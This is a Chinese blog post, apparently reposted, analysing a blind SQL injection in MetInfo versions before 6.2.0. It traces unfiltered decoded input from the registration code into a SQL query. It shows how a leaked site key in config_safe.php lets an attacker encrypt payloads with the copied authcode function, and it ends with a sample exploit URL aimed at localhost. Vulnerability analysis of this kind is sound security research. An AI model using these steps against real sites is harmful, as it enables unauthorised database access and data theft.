metinfo小于v6.2.0版本通杀SQL盲注漏洞分析-白红宇

metinfo小于v6.2.0版本通杀SQL盲注漏洞分析

阅读量：4583 次

发布时间：2019-06-09

本文共 2851 字，大约阅读时间需要 9 分钟。

0x01

　此漏洞是由于未将decode解码后的数据过滤，而直接带入SQL语句中，从而导致SQL盲注漏洞。

0x02

　漏洞分析：此处复现为metinfo6.1.3版本，漏洞最初产生为：/app/system/user/web/register.class.php 94~107行：

　可以看到此函数将 GET，POST，COOKIE，过来的数据经过decode解码后直接赋值给$username变量，然后将此变量带入get_user_valid()函数，跟进：

　可以看到有将此可控变量引入get_user_by_username()函数，跟进：

再次跟进get_user_by_nameid()函数：

此处可以看到，这条SQL语句将未过滤的变量直接带入SQL查询中，于是产生SQL注入漏洞。此处回过头在看看decode函数内容，然后构造payload。

可以看到decode函数与encode函数都会将数据引入authcode函数中，查看此函数：

public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){		$ckey_length = 4;  		$key = md5($key ? $key : UC_KEY);		$keya = md5(substr($key, 0, 16));		$keyb = md5(substr($key, 16, 16));		$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';		$cryptkey = $keya.md5($keya.$keyc);		$key_length = strlen($cryptkey);		$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;		$string_length = strlen($string);		$result = '';		$box = range(0, 255);		$rndkey = array();		for($i = 0; $i <= 255; $i++) {			$rndkey[$i] = ord($cryptkey[$i % $key_length]);		}		for($j = $i = 0; $i < 256; $i++) {			$j = ($j + $box[$i] + $rndkey[$i]) % 256;			$tmp = $box[$i];			$box[$i] = $box[$j];			$box[$j] = $tmp;		}		for($a = $j = $i = 0; $i < $string_length; $i++) {			$a = ($a + 1) % 256;			$j = ($j + $box[$a]) % 256;			$tmp = $box[$a];			$box[$a] = $box[$j];			$box[$j] = $tmp;			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));		}		if($operation == 'DECODE') {			if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {			   return substr($result, 26);			} else {			   return '';			}		}else{			return $keyc.str_replace('=', '', base64_encode($result));		}	}

　再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys']；

此处可以看到$_M['config']['met_webkeys']是取随机数，然后在写入config_safe.php中，但此处有一个致命的问题，就是<?php后面没有空格是无法解析的，于是可以查看的到此随机数。

于是，有了$this->auth_key = $_M['config']['met_webkeys']的值之后，就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地，如下：


      0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {			   return substr($result, 26);			} else {			   return '';			}		}else{			return $keyc.str_replace('=', '', base64_encode($result));		}	}print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));?>

　稍作更改，访问此文件，$_GET['str']的值为payload，$_GET['key']的值为config_safe.php中的内容，可获取一个加密后的数据，然后将此数据通过GET，POST，COOKIE等方式传入，即可成功利用漏洞。

首先如上图，获取加密后的payload数据。然后访问漏洞函数，并且将此数据传入：

http://localhost/metinfo6.1.3/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=45dd78Y9dDtrokkqvc%2FCDfyxHbPjk5YL9vokbnG%2Fm819%2Fd1pgL8GbvW5dEQGOQ

漏洞利用成功。

此处附上EXP：

转载于:https://www.cnblogs.com/Spec/p/10729283.html

你可能感兴趣的文章